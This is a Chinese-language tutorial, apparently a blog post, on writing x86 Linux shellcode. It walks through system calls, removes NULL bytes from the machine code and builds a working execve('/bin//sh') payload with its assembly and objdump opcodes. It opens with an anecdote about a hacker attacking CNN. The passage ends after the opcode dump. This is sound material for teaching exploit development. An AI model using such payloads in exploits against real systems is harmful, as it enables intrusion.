一、什么是shellcode
话说某天某爱国黑客编译了一个Nday溢出利用程序来攻击CNN，输入IP并且enter之后发现目标服务器没有反应，于是拿出sniffer抓包分析… “Oh ，my God!居然没有带shellcode!”为什么 shellcode对于一个exploit来说这么重要呢?Shellcode到底是什么东西呢?
简单的说，Shellcode是一段能够完成某种特定功能的二进制代码。具体完成什么任务是由攻击者决定的，可能是开启一个新的shell或者下载某个特定的程序也或者向攻击者返回一个shell等等。
因为shellcode将会直接操作寄存器和一些系统调用，所以对于shellcode的编写基本上是用高级语言编写一段程序然后编译，反汇编从而得到16进制的操作码，当然也可以直接写汇编然后从二进制文件中提取出16进制的操作码。
接下来就一起来解开shellcode的神秘面纱吧～
二、Linux系统调用
为什么编写shellcode需要了解系统调用呢?因为系统调用是用户态和内核态之间的一座桥梁。大多数操作系统都提供了很多应用程序可以访问到的核心函数，shellcode当然也需要调用这些核心函数。Linux系统提供的核心函数可以方便的实现用来访问文件，执行命令，网络通信等等功能。这些函数就被成为系统调用(System Call)。
想知道系统上到底有哪些系统调用可以用，直接查看内核代码即可得到。Linux的系统调用在以下文件中定义:/usr/include/asm-i386 /unistd.h,该文件包含了系统中每个可用的系统调用的定义，内容大概如下：
| #ifndef _ASM_I386_UNISTD_H_ #define _ASM_I386_UNISTD_H_ /* * This file contains the system call numbers. */ #define __NR_restart_syscall 0 #define __NR_exit 1 #define __NR_fork 2 #define __NR_read 3 #define __NR_write 4 #define __NR_open 5 #define __NR_close 6 #define __NR_waitpid 7 #define __NR_creat 8 #define __NR_link 9 #define __NR_unlink 10 #define __NR_execve 11 #define __NR_chdir 12 #define __NR_time 13 #define __NR_mknod 14 #define __NR_chmod 15 . |
每个系统调用都有一个名称和相对应的系统调用号组成，由于该文件很长就不一一列出了。知道了linux系统调用是什么样子，下面就来了解下如何使用这些系统调用。启动一个系统调用需要使用int指令，linux系统调用位于中断0×80。当执行一个int 0×80指令后，发出一个软中断，强制内核停止当前工作来处理中断。内核首先检查传入参数的正确性，然后将下面寄存器的值复制到内核的内存空间，接下来参照中断描述符表(IDT)来处理中断。系统调用完成以后，继续执行int指令后的下一条指令。
系统调用号是确定一个系统调用的关键数字，在执行int指令之前，它应当被传入EAX寄存器中，确定了一个系统调用号之后就要考虑给该系统调用传递什么参数来完成什么样的功能。存放参数的寄存器有5个，他们是EBX，ECX，EDX，ESI和EDI，这五个寄存器顺序的存放传入的系统调用参数。需要超过6 个输入参数的系统调用使用不同的方法把参数传递给系统调用。EBX寄存器用于保护指向输入参数的内存位置的指针，输入参数按照连续的顺序存储。系统调用使用这个指针访问内存位置以便读取参数。
为了更好的说明一个系统调用的使用全过程，我们来看一个例子，这个例子中调用了write系统调用来将hello,syscall写入到终端，并最终调用exit系统调用安全退出。
代码如下：
| .section .data output: .ascii “hello,syscall!!!!\n” output_end: .equ len,output_end - output .section .text .globl _start _start: movl $4,%eax #define __NR_write 4 movl $1,%ebx movl $output,%ecx movl $len,%edx int $0×80 movl $1,%eax movl $0,%ebx int $0×80 |
编译该程序，并查看运行结果：
| pr0cess@pr0cess:~$ as -o syscall.o syscall.s pr0cess@pr0cess:~$ ld -o syscall syscall.o pr0cess@pr0cess:~$ ./syscall hello,syscall!!!! |
可以看到hello,syscall被写入到终端。那么这个过程是怎么实现的呢?首先程序定义了一个字符串hello,syscall!!!!和字符串的长度len，接下来将write系统调用号写入到eax寄存器中，接着write系统调用的第一个参数需要一个文件描述符fd，linux包含3种文件描述符0[STDIN]:终端设备的标准输入;1[STDOUT]：终端设备的标准输出;2[STDERR]：终端设备的标准错误输出。我们这里把fd的值设置为1，就是输入到屏幕上，因此把操作数1赋值给EBX寄存器。write系统调用的第二个参数是要写入字符串的指针，这里需要一个内存地址，因此我们通过movl $output,%ecx把output指向的实际内存地址存放在 ECX寄存器中。write系统调用的第三个参数是写入字符串的长度，按照顺序的参数传递方式，我们把len传递到EDX寄存器中，接着执行int $0×80软中断来执行write系统调用。下一步执行了一个exit(0) 操作，将exit系统调用号1传递给EAX寄存器，将参数0传递给EBX寄存器，然后执行int $0×80来执行系统调用，实现程序的退出。
为了更清晰的验证我们的系统调用确实被执行了，可以通过strace来查看二进制代码的运行情况，结果如下:
| pr0cess@pr0cess:~$ strace ./syscall execve(”./syscall”, ["./syscall"], [/* 34 vars */]) = 0 write(1, “hello,syscall!!!!\n”, 18hello,syscall!!!! ) = 18 _exit(0) |
通过返回的结果我们可以清楚的看到刚才syscall程序都执行了哪些系统调用，以及每个系统调用都传递了什么参数进去。
已经了解了系统调用的实现过程，让我们离shellcode更进一步吧。
三、第一个shellcode
最初当shellcode这个名词来临的时候，目的只是获得一个新的shell，在那时已经是一件很美妙的事情，接下来我们就来实现如何获得一个新的 shell来完成我们第一个shellcode的编写。这里需要注意的一个基本的关键的地方就是在shellcode中不能出现/x00也就是NULL字符，当出现NULL字符的时候将会导致shellcode被截断，从而无法完成其应有的功能，这确实是一个让人头疼的问题。那么有什么解决办法呢?我们先来抽取上个例子syscall中的16进制机器码来看看有没有出现/x00截断符：
| pr0cess@pr0cess:~$ objdump -d ./syscall ./syscall: file format elf32-i386 Disassembly of section .text: 08048074 <_start>: 8048074: b8 04 00 00 00 mov $0×4,%eax 8048079: bb 01 00 00 00 mov $0×1,%ebx 804807e: b9 98 90 04 08 mov $0×8049098,%ecx 8048083: ba 12 00 00 00 mov $0×12,%edx 8048088: cd 80 int $0×80 804808a: b8 01 00 00 00 mov $0×1,%eax 804808f: bb 00 00 00 00 mov $0×0,%ebx 8048094: cd 80 int $0×80 pr0cess@pr0cess:~$ |
噢!!!这个SB的程序在
8048074: b8 04 00 00 00 mov $0×4,%eax
这里就已经被00截断了，完全不能用于shellcode，只能作为一般的汇编程序运行。现在来分析下为什么会出现这种情况。现看这两段代码：
| movl $4,%eax movl $1,%ebx |
这两条指令使用的是32位(4字节)的寄存器EAX和EBX，而我们却只分别赋值了1个字节到寄存器中，所以系统会用NULL字符(00)来填充剩下的字节空间，从而导致shellcode被截断。知道了原因就可以找到很好的解决方法了,一个EAX寄存器是32位，32位寄存器也可以通过16位或者8位的名称引用，我们通过AX寄存器来访问第一个16位的区域(低16位)，继续通过对AL的引用EAX寄存器的低8位被使用，AH使用AL后的高8位。
EAX寄存器的构成如下：
在syscall的例子中操作数$4和$1二进制都只占8位，所以只需要把这两个操作数赋值给AL就可以了，这样就避免了使用EAX寄存器时，系统用NULL填充其他空间。
我们来修改一下代码看看，把
| movl $4,%eax movl $1,%ebx |
改为
| mov $4,%al mov $1,%bl |
再重新编译连接syscall程序，并且查看一下objdump的结果：
| pr0cess@pr0cess:~$ ./syscall hello,syscall!!!! pr0cess@pr0cess:~$ objdump -d ./syscall ./syscall: file format elf32-i386 Disassembly of section .text: 08048074 <_start>: 8048074: b0 04 mov $0×4,%al 8048076: b3 01 mov $0×1,%bl 8048078: b9 90 90 04 08 mov $0×8049090,%ecx 804807d: ba 12 00 00 00 mov $0×12,%edx 8048082: cd 80 int $0×80 8048084: b8 01 00 00 00 mov $0×1,%eax 8048089: bb 00 00 00 00 mov $0×0,%ebx 804808e: cd 80 int $0×80 pr0cess@pr0cess:~$ |
看到了，已经成功的把 NULL字符给去掉了，同理可以把下面语句都改写一遍，这样就可以使这个程序作为shellcode运行了。
下面我们就来编写第一个有实际意义的shellcode，它将打开一个新的shell。当然，这在本地是没有什么意义，可是当它作为一个远程溢出在目标机器上打开shell的时候，那作用可就不能小视了。打开一个新的shell我们需要用到execve系统调用，先来看看man手册里是怎么定义这个函数的：
| NAME execve - execute program SYNOPSIS #include int execve(const char *filename, char *const argv[], char *const envp[]); 可以看到execve系统调用需要3个参数，为了说明怎么使用先来写一个简单的C程序来调用execve函数： #include int main() { char *sc[2]; sc[0]=”/bin/sh”; sc[1]= NULL; execve(sc[0],sc,NULL); } |
通过execve执行一个/bin/sh从而获得一个新的shell，编译来看下结果：
| pr0cess@pr0cess:~$ gcc -o newshell newshell.c pr0cess@pr0cess:~$ ./newshell $ exit pr0cess@pr0cess:~$ |
新shell已经成功的诞生了!!
为了编写execve的shellcode我们用汇编实现一下以上C程序的功能，代码如下：
| .section .text .globl _start _start: xorl %eax,%eax pushl %eax pushl $0×68732f6e pushl $0×69622f2f movl %esp,%ebx pushl %eax pushl %ebx movl %esp,%ecx movb $0xb,%al int $0×80 |
来解释一下这段代码，首先为了避免mov赋值带来的00，用一个异或操作来把EAX寄存器清空
xorl %eax,%eax
接着将4字节的NULL压栈
pushl %eax
将/bin//sh压栈，保持对齐，第一个参数
| pushl $0×68732f6e pushl $0×69622f2f |
将/bin//sh存放到EBX寄存器，第2个参数
movl %esp,%ebx
压4字节的NULL，第3个参数，环境变量为 NULL
pushl %eax
将EBX压栈
pushl %ebx
把EBX地址存入ECX寄存器
movl %esp,%ecx
将execve系统调用号11(0xb)压入AL寄存器，消00
movb $0xb,%al
调用int指令进入中断
int $0×80
OK，现在来测试一下这个程序是否能给我们带来一个新的shell
| pr0cess@pr0cess:~$ as -o exec.o exec.s pr0cess@pr0cess:~$ ld -o exec exec.o pr0cess@pr0cess:~$ ./exec $ exit pr0cess@pr0cess:~$ |
HOHO~~成功执行了!!接着来提取16进制机器码
| pr0cess@pr0cess:~$ objdump -d ./exec ./exec: file format elf32-i386 Disassembly of section .text: 08048054 <_start>: 8048054: 31 c0 xor %eax,%eax 8048056: 50 push %eax 8048057: 68 6e 2f 73 68 push $0×68732f6e 804805c: 68 2f 2f 62 69 push $0×69622f2f 8048061: 89 e3 mov %esp,%ebx 8048063: 50 push %eax 8048064: 53 push %ebx 8048065: 89 e1 mov %esp,%ecx 8048067: b0 0b mov $0xb,%al 8048069: cd 80 int $0×80 pr0cess@pr0cess:~$ |
